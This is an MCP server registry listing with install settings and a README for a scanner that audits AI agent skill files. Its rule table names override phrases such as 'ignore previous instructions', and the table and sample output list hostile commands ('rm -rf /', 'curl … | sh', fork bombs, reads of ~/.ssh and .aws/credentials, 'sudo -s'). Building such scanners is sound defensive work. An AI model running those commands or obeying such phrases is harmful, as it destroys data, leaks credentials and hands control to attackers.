MCP Skill Sec

Name: MCP Skill Sec
Author: sudo-ai-git

by sudo-ai-gitversion 1.0.0i★ –iRuns on your computer

Registry nameio.github.sudo-ai-git/mcp-skill-sec

Install

Overview

Description from the maker (original English)

Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.

PopNx MCP’s three pillars

These three are never merged into one score: opinions, measurements and popularity are different things.

User voiceiNo reviews yetReviews open together with accounts in a later step
Our basic checksi1 of 1 passedChecked from public information; code not scanned yet
UsageiNot measured yet★ –

What you can do with it

We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.

Connection: Runs on your computer
Transport: stdio
Category: Search & AI memory

Install

Pick the AI app you use, then copy the settings.

Before you install

Basic checks: 1 of 1 passed
Runs on your computer with your user’s permissions (files, network, apps).
The registry lists no key to fill in.

You need

PyPIPython’s uv installed (for the uvx command)

Which app do you use?

ClaudeClaude CodeCursorVS CodeChatGPT

Pick your app above. We remember it, so next time the button says “Install in …”.

Open Claude Desktop → Settings → Developer → Edit Config, and paste this into claude_desktop_config.json

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

Run this in your terminal

claude mcp add skill-sec -- uvx mcp-skill-sec

Open in Cursor

Or copy the settings yourself

Paste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

Open in VS Code

Or copy the settings yourself

Paste into .vscode/mcp.json in your project

{
  "servers": {
    "skill-sec": {
      "type": "stdio",
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

This one runs on your computer, and ChatGPT can only connect to servers on the internet. Pick another app.

Your choice stays on this device in a cookie; no account needed.

These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.

What it can do

Runs on your computer; the tool list appears in your AI app after you install it.

Basic checksi

We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 6, 2026

✓ Pass
Maker matches the repo
The registry name was verified with the GitHub account sudo-ai-git, which owns the repo
… Not checked yet
Still maintained
We have not read this repo from GitHub yet
… Not checked yet
Has a licence
We have not read this repo from GitHub yet
– Not applicable
Endpoint responds
This one runs on your computer; there is no internet endpoint
– Not applicable
Sign-in with OAuth
Runs on your computer and uses local settings instead
… Not checked yet
No hidden instructions in tool descriptions
Runs on your computer; we can only read tool lists from internet endpoints

Compared with others in Search & AI memoryi

More stars than 0% of the other 7243 servers in this category
Published to the registry more recently than 34% of the other 7243 servers in this category
Basic checks equal to or better than 100% of the other 7243 servers in this category

Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.

Common questions

Is MCP Skill Sec safe?

It passed 1 of 1 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.

What keys or codes does it need?

The registry does not list a required key, though some servers ask you to sign in on first use.

Does it run on my computer or in the cloud?

It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).

Is it still maintained?

The GitHub repo last changed –, and the latest version (1.0.0) reached the registry 2 months ago.

Which apps can use it?

Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need Python (uv) on your computer.

What can I use instead?

In the same category: Context7, Codebase Memory, Exa

Alternatives

Servers in the same category from other makers, sorted by stars.

Reading a card:★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi

Context7

by upstash

Feeds AI the latest docs for libraries and frameworks before it answers, so code it writes does not use outdated, removed functions.

Computer or cloud★ 64,224MITUpdated 3 days ago

Install

Codebase Memory

by DeusData

Codebase knowledge graph for AI agents — 162 languages, sub-ms queries, 99% fewer tokens.

Runs on your computer★ 48,148MITUpdated 20 days ago

Install

Exa

by exa-labs

Connect AI agents to Exa for web search, content fetching, and multi-step research.

Runs in the cloud★ 5,213MITUpdated 44 days ago

Install

README from the maker

Open the README

Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

Rule	Pattern
R1	Prompt injection / instruction hijack (`ignore previous instructions`, secrecy directives, identity overrides)
R2	Data exfiltration intent (send/post/email contents to a URL, log theft)
R3	Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4	Dangerous commands (`rm -rf /`, `curl \	sh`, fork bombs, raw device writes)
R5	Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6	Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7	Credential access (reading `~/.ssh`, `.aws/credentials`, `.env`)
R8	Privilege escalation (`sudo -s`, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec

then register with your agent:

mcp-skill-sec # run stdio server mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

pip install mcp

python3 mcp_server.py # run stdio mcp install mcp_server.py --name skill-sec # register with Claude Desktop

Claude Desktop / agent config

"mcpServers": { "skill-sec": { "command": "mcp-skill-sec", "args": [] } } }

Example

skill-sec: /tmp/downloaded-skill/SKILL.md

verdict : FLAG counts : critical 1, high 2, medium 1, low 0 R3 [critical] line 11: api_key = "sk-live-…" R3 [high] line 14: password = "hunter2" R4 [critical] line 22: curl https://x/y.sh | sh action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

mcp-skill-sec — pre-install skill/security audit (this repo)
mcp-verify-claim — evidence-gated, honestly-tiered claim reporting
mcp-benchmark-hygiene — pytest config-leakage / eval-honesty detection

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Hire a custom integration

Need this connected to *your* internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.

MCP Skill Sec

Overview

PopNx MCP’s three pillars

What you can do with it

Install

Before you install

What it can do

Basic checksi

Maker matches the repo

Still maintained

Has a licence

Endpoint responds

Sign-in with OAuth

No hidden instructions in tool descriptions

Compared with others in Search & AI memoryi

Common questions

Alternatives

Context7

Codebase Memory

Exa

README from the maker

mcp-skill-sec

What it scans for (rules R1–R8)

Tools

Install & run

then register with your agent:

Claude Desktop / agent config

Example

Part of a family

License & provenance

Official MCP Registry metadata

Hire a custom integration